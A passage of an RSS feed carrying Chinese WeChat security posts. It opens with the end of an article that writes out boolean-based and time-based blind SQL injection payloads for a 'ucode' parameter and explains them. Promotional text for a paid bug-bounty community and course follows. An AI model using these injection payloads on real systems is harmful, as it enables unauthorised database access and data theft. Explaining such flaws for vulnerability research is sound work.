leaf="">ucode=-5562&#39; OR 5712=5712 AND &#39;qIqO&#39;=&#39;qIqO</span></code><span leaf=""> 说明服务端把 ucode 拼接进 SQL 字符串，攻击者可改变 WHERE/HAVING 判断逻辑。</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">2.时间盲注</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14px;cursor: pointer;color: rgb(40, 202, 113);line-height: 1.8em;letter-spacing: 0em;background: none left top / auto no-repeat scroll padding-box border-box rgba(27, 31, 35, 0.05);width: auto;height: auto;margin: 0px 2px;padding: 2px 4px;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);border-radius: 4px;overflow-wrap: break-word;word-break: break-all;"><span leaf="">ucode=asd&#39; AND (SELECT * FROM (SELECT(SLEEP(5)))yOGi) AND &#39;WuPe&#39;=&#39;WuPe</span></code><span leaf=""> 说明即使页面无明显回显，也能通过响应延迟逐步枚举数据库信息。</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">请注意这里的时间盲注,这里采用的是嵌入式的语句</span></p><p style="text-align: center;" data-pm-slice="2 2 []"><span leaf="">如果你是一个长期主义者，欢迎加入我的知识星球，本星球日日更新,包含号主大量一线实战,全网独一无二，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款</span></p><p style="text-align: center;" data-pm-slice="2 2 []"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012574" data-ratio="0.5493333333333333" data-s="300,640" data-w="750" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=033161f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYmmVSe19Qj5EMr3X76qdKBrhIIkBlVVyuiaiasseFZ9LqtibyKFk7gXvgTU2C2yEwKLaaqfX0DL3eoH6gTcNLJvDQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p><span style="box-sizing: border-box;text-align: center;display: inline-block;height: 38px;line-height: 42px;color: rgb(72, 179, 120);background-position: left center;background-repeat: no-repeat;background-attachment: initial;background-origin: initial;background-clip: initial;background-size: 63px;margin-top: 38px;font-size: 18px;margin-bottom: 10px;"><span leaf="">往期回顾</span></span></p><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497813&amp;idx=1&amp;sn=c778ad6a4bffd7a0a72a900144ea90ca&amp;scene=21#wechat_redirect" textvalue="如何利用ai辅助挖漏洞" data-itemshowtype="0" linktype="text" data-linktype="2">如何利用ai辅助挖漏洞</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497880&amp;idx=1&amp;sn=b9b980464333074216b55ea94c8a743a&amp;scene=21#wechat_redirect" textvalue="如何在移动端抓包-下" data-itemshowtype="0" linktype="text" data-linktype="2">如何在移动端抓包-下</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;h1&#34;,&#34;attributes&#34;:{&#34;id&#34;:&#34;activity-name&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497491&amp;idx=1&amp;sn=a1b00b9a8a54eb96aa3ba8bf23cb7e28&amp;scene=21#wechat_redirect" textvalue="如何绕过签名校验" data-itemshowtype="0" linktype="text" data-linktype="2">如何绕过签名校验</a></span></h1><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495880&amp;idx=1&amp;sn=65d42fbff5e198509e55072674ac5283&amp;chksm=e8a5faabdfd273bd55df8f7db3d644d3102d7382020234741e37ca29e963eace13dd17fcabdd&amp;scene=21#wechat_redirect" textvalue="一款bp神器" data-itemshowtype="0" linktype="text" data-linktype="2">一款bp神器</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496898&amp;idx=1&amp;sn=b6088e20a8b4fc9fbd887b900d8c5247&amp;scene=21#wechat_redirect" textvalue="挖掘有回显ssrf的隐藏payload" data-itemshowtype="0" linktype="text" data-linktype="2">挖掘有回显ssrf的隐藏payload</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495841&amp;idx=1&amp;sn=bbf477afa30391b8072d23469645d026&amp;chksm=e8a5fac2dfd273d42344f18c7c6f0f7a158cca94041c4c4db330c3adf2d1f77f062dcaf6c5e0&amp;scene=21#wechat_redirect" textvalue="ssrf绕过新思路" data-itemshowtype="0" linktype="text" data-linktype="2">ssrf绕过新思路</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496380&amp;idx=1&amp;sn=78c0c4c67821f5ecbe4f3947b567eeec&amp;chksm=e8a5f8dfdfd271c935aeb4444ea7e928c55cb4c823c51f1067f267699d71a1aad086cf203b99&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">一个辅助测试ssrf的工具</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247488819&amp;idx=1&amp;sn=5141f88f3e70b9c97e63a4b68689bf6e&amp;chksm=e8a61f50dfd1964692f93412f122087ac160b743b4532ee0c1e42a83039de62825ebbd066a1e&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">dom-xss精选文章</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487187&amp;idx=1&amp;sn=622438ee6492e4c639ebd8500384ab2f&amp;chksm=e8a604b0dfd18da6c459b4705abd520cc2259a607dd9306915d845c1965224cc117207fc6236&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">年度精选文章</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487122&amp;idx=1&amp;sn=32459310408d126aa43240673b8b0846&amp;chksm=e8a604f1dfd18de737769dd512ad4063a3da328117b8a98c4ca9bc5b48af4dcfa397c667f4e3&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">Nuclei权威指南-如何躺赚</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486973&amp;idx=1&amp;sn=6ec419db11ff93d30aa2fbc04d8dbab6&amp;chksm=e8a6079edfd18e88f6236e237837ee0d1101489d52f2abb28532162e2937ec4612f1be52a88f&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试设置功能IV</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试注册功能以及相关Tips</a></span><span style="display: none;line-height: 0px;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">‍</a></span></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f49a15f3&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTIzNTM0MA%3D%3D%26mid%3D2247499547%26idx%3D1%26sn%3D1a9dd1b5e9ce6e51d09477dc5637d771">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 10 Jun 2026 11:00:00 +0800</pubDate>
    </item>
    <item>
      <title>[文末抽奖]猎手小屋+海外SRC实战预备营正式上线！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247499559&amp;idx=1&amp;sn=7fd4a89208ff6273295d9b24d9d25833</link>
      <description>分享一篇文章。</description>
      <content:encoded><![CDATA[<p><span>迪哥讲事</span> <span>2026-06-09 12:00</span> <span style="display: inline-block;">四川</span></p>


  <p>分享一篇文章。</p>
  <p><strong>ForOne安全</strong>: <a href="http://mp.weixin.qq.com/s?__biz=MzI2MjQ2NTUxNQ%3D%3D&amp;mid=2247483962&amp;idx=1&amp;sn=e57524f214bf1d7c22e42bd6b36157d0&amp;scene=45#wechat_redirect">[文末抽奖]猎手小屋&#43;海外SRC实战预备营正式上线！</a></p>





  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=1edb29c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F1nbqyYvGrhK5OWQZGcTxSPduUtDalE37uiby2h72zMzictrjwtbiaQeWAW40qfQEibYLNI0q4wgMibS3Aialj6vMws5JlaUc4D9oh5xicic8sHWNFY0%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>在不确定的漏洞世界里，建立一条确定的成长路径</p>
  <div style="font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;font-size: 16px;line-height: 1.75;text-align: left;"><h1 data-heading="true" style="display: table;border-bottom: 2px solid rgba(0, 143, 226, 1);margin: 2em auto 1em;color: #3f3f3f;font-weight: bold;text-align: center;padding: 0.5em 1em;font-size: 22.4px;text-shadow: 1px 1px 3px rgba(0, 0, 0, 0.05);margin-top: 0 !important;"><span style="background-color: rgba(0, 143, 226, 1);padding: 2px 4px;border-radius: 2px;color: #fff;"><span leaf="">猎手小屋</span></span><span leaf=""> x 海外SRC预备营 上线啦！</span></h1><blockquote style="border-left: 4px solid rgba(0, 143, 226, 1);border-radius: 6px;background: #f7f7f7;margin-bottom: 1em;font-style: italic;padding: 1em 1em 1em 2em;color: rgba(0, 0, 0, 0.6);border-bottom: 0.2px solid rgba(0, 0, 0, 0.04);border-top: 0.2px solid rgba(0, 0, 0, 0.04);border-right: 0.2px solid rgba(0, 0, 0, 0.04);"><p style="display: block;font-size: 1em;letter-spacing: 0.1em;color: #3f3f3f;margin: 0;"><span leaf="">在不确定的漏洞世界里，建立一条确定的成长路径</span></p></blockquote><hr style="border-style: solid;border-width: 2px 0 0;border-color: rgba(0, 0, 0, 0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);height: 1px;border: none;margin: 2em 0;background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h2 data-heading="true" style="display: table;margin: 4em auto 2em;color: #fff;background: rgba(0, 143, 226, 1);font-weight: bold;text-align: center;padding: 0.3em 1.2em;font-size: 20.8px;border-radius: 8px 24px 8px 24px;box-shadow: 0 2px 6px rgba(0, 0, 0, 0.06);"><span leaf="">01 行业趋势</span></h2><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">Apple 漏洞赏金计划提高上限到 </span><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span leaf="">200 万美元</span></strong><span leaf="">（不包括额外奖励）。即便是长期被全球用户视为极其安全的厂商，仍可能出现可被用于真实攻击链的严重问题；与此同时，主流漏洞奖励计划也在更重视：</span><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span leaf="">可复现、可论证、能说明业务影响</span></strong><span leaf="">的研究成果，而不仅是「发现一个点」。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">很多人认为，目前的趋势是：漏洞评估正在从「发现一个点」，走向「构造一条链」；从「技术可行」，走向「影响可证」。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">参考：</span><span leaf="">[Apple Security Bounty 官方说明](<a href="https://security.apple.com/blog/apple-security-bounty-evolved/)" target="_blank">https://security.apple.com/blog/apple-security-bounty-evolved/)</a></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000294" data-ratio="0.9288537549407114" data-s="300,640" type="block" data-type="png" data-w="759" src="https://wechat2rss.xlab.app/img-proxy/?k=a55a093e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F1nbqyYvGrhJ4PaiaYsmH0ZqnKQmrsKnyTNoFrHpcBWgtibEBmtQLhPtialtsEgibs3sOVvmFFR68sQc2H663GngNH3KtGWx5rJIeAJ96WxfvlTc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><hr style="border-style: solid;border-width: 2px 0 0;border-color: rgba(0, 0, 0, 0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);height: 1px;border: none;margin: 2em 0;background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">自从 MCP 出现，到 AI + Skill 测试方式的不断演变，同时 AI 安全也备受重视，但 AI 确实在重塑 Bug Bounty：</span></p><ul style="margin-left: 0;color: #3f3f3f;list-style: none;padding-left: 1.5em;" class="list-paddingleft-1"><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• AI 相关攻击面在增加，但传统 Web/API/权限类问题仍占主流。</span></p></li><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• AI 并未替代漏洞研究，而是在资料检索、测试路线整理、复盘与证据表达上，提高研究效率。</span></p></li><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• 这是工具与方法论更成熟的阶段，但入门门槛并未消失——</span><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span leaf="">系统训练与稳定执行，反而更重要</span></strong><span leaf="">。</span></p></li></ul><hr style="border-style: solid;border-width: 2px 0 0;border-color: rgba(0, 0, 0, 0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);height: 1px;border: none;margin: 2em 0;background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h2 data-heading="true" style="display: table;margin: 4em auto 2em;color: #fff;background: rgba(0, 143, 226, 1);font-weight: bold;text-align: center;padding: 0.3em 1.2em;font-size: 20.8px;border-radius: 8px 24px 8px 24px;box-shadow: 0 2px 6px rgba(0, 0, 0, 0.06);"><span leaf="">02 新手入门常见痛点与误区</span></h2><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">很多人并不缺热情，缺的是一条可执行的路径。常见痛点包括：</span></p><ul style="margin-left: 0;color: #3f3f3f;list-style: none;padding-left: 1.5em;" class="list-paddingleft-1"><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• </span><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span leaf="">【成长路径不明】</span></strong><span leaf=""> 资料很多，但路径混乱，不知道先做什么</span></p></li><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• </span><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span leaf="">【缺乏整体流程】</span></strong><span leaf=""> 会用工具，但很难把流程跑成闭环</span></p></li><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• </span><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span leaf="">【筛选目标效率不高】</span></strong><span leaf=""> 找不到高价值目标，测试投入常常低效消耗</span></p></li><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• </span><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span leaf="">【不清楚如何证明报告的价值】</span></strong><span leaf=""> 有发现，却不会写「审核友好」的影响证明</span></p></li><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• </span><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span leaf="">【没有队友反馈互助】</span></strong><span leaf=""> 缺少同伴反馈，卡点后容易中断</span></p></li></ul><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">常见误区包括：</span></p><ul style="margin-left: 0;color: #3f3f3f;list-style: none;padding-left: 1.5em;" class="list-paddingleft-1"><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• 把「收集资产数量」当成「实战进度」，忽略可测入口识别</span></p></li><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• 把「会抓包」误认为「会测试」，缺少验证与记录体系</span></p></li><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• 过早追求复杂技巧，忽略最小可复现闭环</span></p></li><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• 用零散经验替代稳定方法，导致每次都在重复起步</span></p></li></ul><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">当然，投入大量时间不断试错，也可以慢慢跨过门槛。但问题是：</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span leaf="">是否一定要靠独自摸爬滚打、踩坑无数才算入门？</span></strong></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">尤其当别人已用成熟方法论配合 AI 提高效率时，</span><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span leaf="">时间成本往往是最昂贵的变量</span></strong><span leaf="">。</span></p><hr style="border-style: solid;border-width: 2px 0 0;border-color: rgba(0, 0, 0, 0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);height: 1px;border: none;margin: 2em 0;background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h2 data-heading="true" style="display: table;margin: 4em auto 2em;color: #fff;background: rgba(0, 143, 226, 1);font-weight: bold;text-align: center;padding: 0.3em 1.2em;font-size: 20.8px;border-radius: 8px 24px 8px 24px;box-shadow: 0 2px 6px rgba(0, 0, 0, 0.06);"><span leaf="">03 猎手小屋｜介绍</span></h2><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span leaf=""><span textstyle="" style="font-weight: bold;">ForOne 安全团队</span></span></strong><span leaf="">多年专注海外 Bug Bounty 挖掘，多次获<span textstyle="" style="color: rgb(255, 41, 65);font-weight: bold;"> Apple 官方致谢</span>，并持续挖掘一些海外知名厂商的<span textstyle="" style="color: rgb(255, 41, 65);font-weight: bold;">严重/高危漏洞赏金</span>，部分如图：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000295" data-ratio="1.1077127659574468" data-s="300,640" type="block" data-type="png" data-w="752" src="https://wechat2rss.xlab.app/img-proxy/?k=2d7f1948&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1nbqyYvGrhI8fqQvboyDqlFKxzoG9Dc53Wn0vichbj6iaicVeURcVdd92o379fWACGqLWiajFxZJOxIDicUmiaWicFqj7jchhmqDmga8bVbmD7xVibI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000296" data-ratio="0.2777777777777778" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ca24e7d9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1nbqyYvGrhK2BhvwKA6tUiaTVWNsvqCC63NH9HJdibVDox2p20OqyuaQSpIVWOkv4vRY49KTtrDBP11QSxf1ficjTGvMCKJ263ey2Sf88XXI6E%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 data-heading="true" style="margin: 2em 8px 0.75em 0;color: #3f3f3f;font-weight: bold;padding-left: 12px;font-size: 19.2px;border-radius: 6px;line-height: 2.4em;border-left: 4px solid rgba(0, 143, 226, 1);border-right: 1px solid color-mix(in srgb, rgba(0, 143, 226, 1) 10%, transparent);border-bottom: 1px solid color-mix(in srgb, rgba(0, 143, 226, 1) 10%, transparent);border-top: 1px solid color-mix(in srgb, rgba(0, 143, 226, 1) 10%, transparent);background: color-mix(in srgb, rgba(0, 143, 226, 1) 8%, transparent);"><span leaf="">优秀学员成果节选</span></h3><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000304" data-ratio="0.5370370370370371" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=58448a58&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1nbqyYvGrhJOdAOSlibmy9vjy0fnbx5QAjjIA0ibGicxiahzXU33IvolPNCTlpuDicdKDUTOwhllfxHEZHSdm71k0FHOHyW0yhDVzxPWLPAUkBwg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000306" data-ratio="0.5722222222222222" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=dc12e099&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F1nbqyYvGrhJTC8Fpic0Eicv58cQOVs6TibTebbYIE4NblA8ictB0sSz8oUPR0XAXHuiaCqz3ujD4CX9ia43wH9e0Eoewia21rNUHj2b8MILwJhwvls%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2189922480620155" data-s="300,640" data-type="png" data-w="1032" type="block" data-imgfileid="100000311" src="https://wechat2rss.xlab.app/img-proxy/?k=ff9341b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1nbqyYvGrhJqNnN0v0PtQrLLoZKwrxDDtd1wQLmHSuVwQKvlVG3lVvudIjhjAVYV1sNhosk6EYmrNsAbfhicxp5nJYHBFCqiclCS1r7CJqrZY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000312" data-ratio="0.2237354085603113" data-s="300,640" type="block" data-type="png" data-w="1028" src="https://wechat2rss.xlab.app/img-proxy/?k=ecdc04e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F1nbqyYvGrhJWFdaU4M5j8Olhiap0ZjCJgMyGEBaSfC0b5N6veCwAcZTWf4cJ6wicykI3JY7Vz9xWzrL572exaabiarmAogX6YSKpA4iboXDvC7w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000309" data-ratio="0.46102021174205965" data-s="300,640" type="block" data-type="png" data-w="1039" src="https://wechat2rss.xlab.app/img-proxy/?k=f44fad1a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1nbqyYvGrhLD9UEWK7fCMDLmpjWUUs03vJla8uJvGXszuIWhqFolcibC7eXicOC58ZZwzFkreIg19egnF0fT5QrSzrJ2mwG5ia7ug3k7bXkGFA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000313" data-ratio="0.21296296296296297" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=33bbc0ef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1nbqyYvGrhIcFjEqfQ8lOLZvWoAboXvgJpZGNc1F283MVDWiasnaePGI371YxuYibgiaDWNLZQhYSO87oprghY0IxSSguCJ7eLibiaIrrnUEvYQE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><hr style="border-style: solid;border-width: 2px 0 0;border-color: rgba(0, 0, 0, 0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);height: 1px;border: none;margin: 2em 0;background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">然而近年来在 AI 浪潮的影响下，有一定经验的漏洞赏金猎手也得到一些助力，也有很多师傅在公众号私信咨询如何更快上手挖漏洞赏金。团队成员总结了较为快速且又实用的入门路径，主攻 </span><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span leaf="">IDOR</span></strong><span leaf=""> 和 </span><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span leaf="">XSS</span></strong><span leaf="">，包含团队师傅实战案例及其绕过思路，打磨出海外SRC实战预备营课程，作为星球福利之一。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">近期团队在运营内部社群，其中有针对漏洞赏金新手的 </span><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span leaf="">猎手小屋</span></strong><span leaf=""> 知识星球：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000297" data-ratio="4.03125" data-s="300,640" type="block" data-type="jpeg" data-w="768" src="https://wechat2rss.xlab.app/img-proxy/?k=d46a3ec1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1nbqyYvGrhLvnsOdiaOuZQSHicw3X7CZxrt5LE8vZgSwLQAOza33QD0Q38mocS0wOzw1zNCk2Qj4TMt5I9rQDtuXCt4RehOQF6DDSAqyA0WWY%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><ul style="margin-left: 0;color: #3f3f3f;list-style: none;padding-left: 1.5em;" 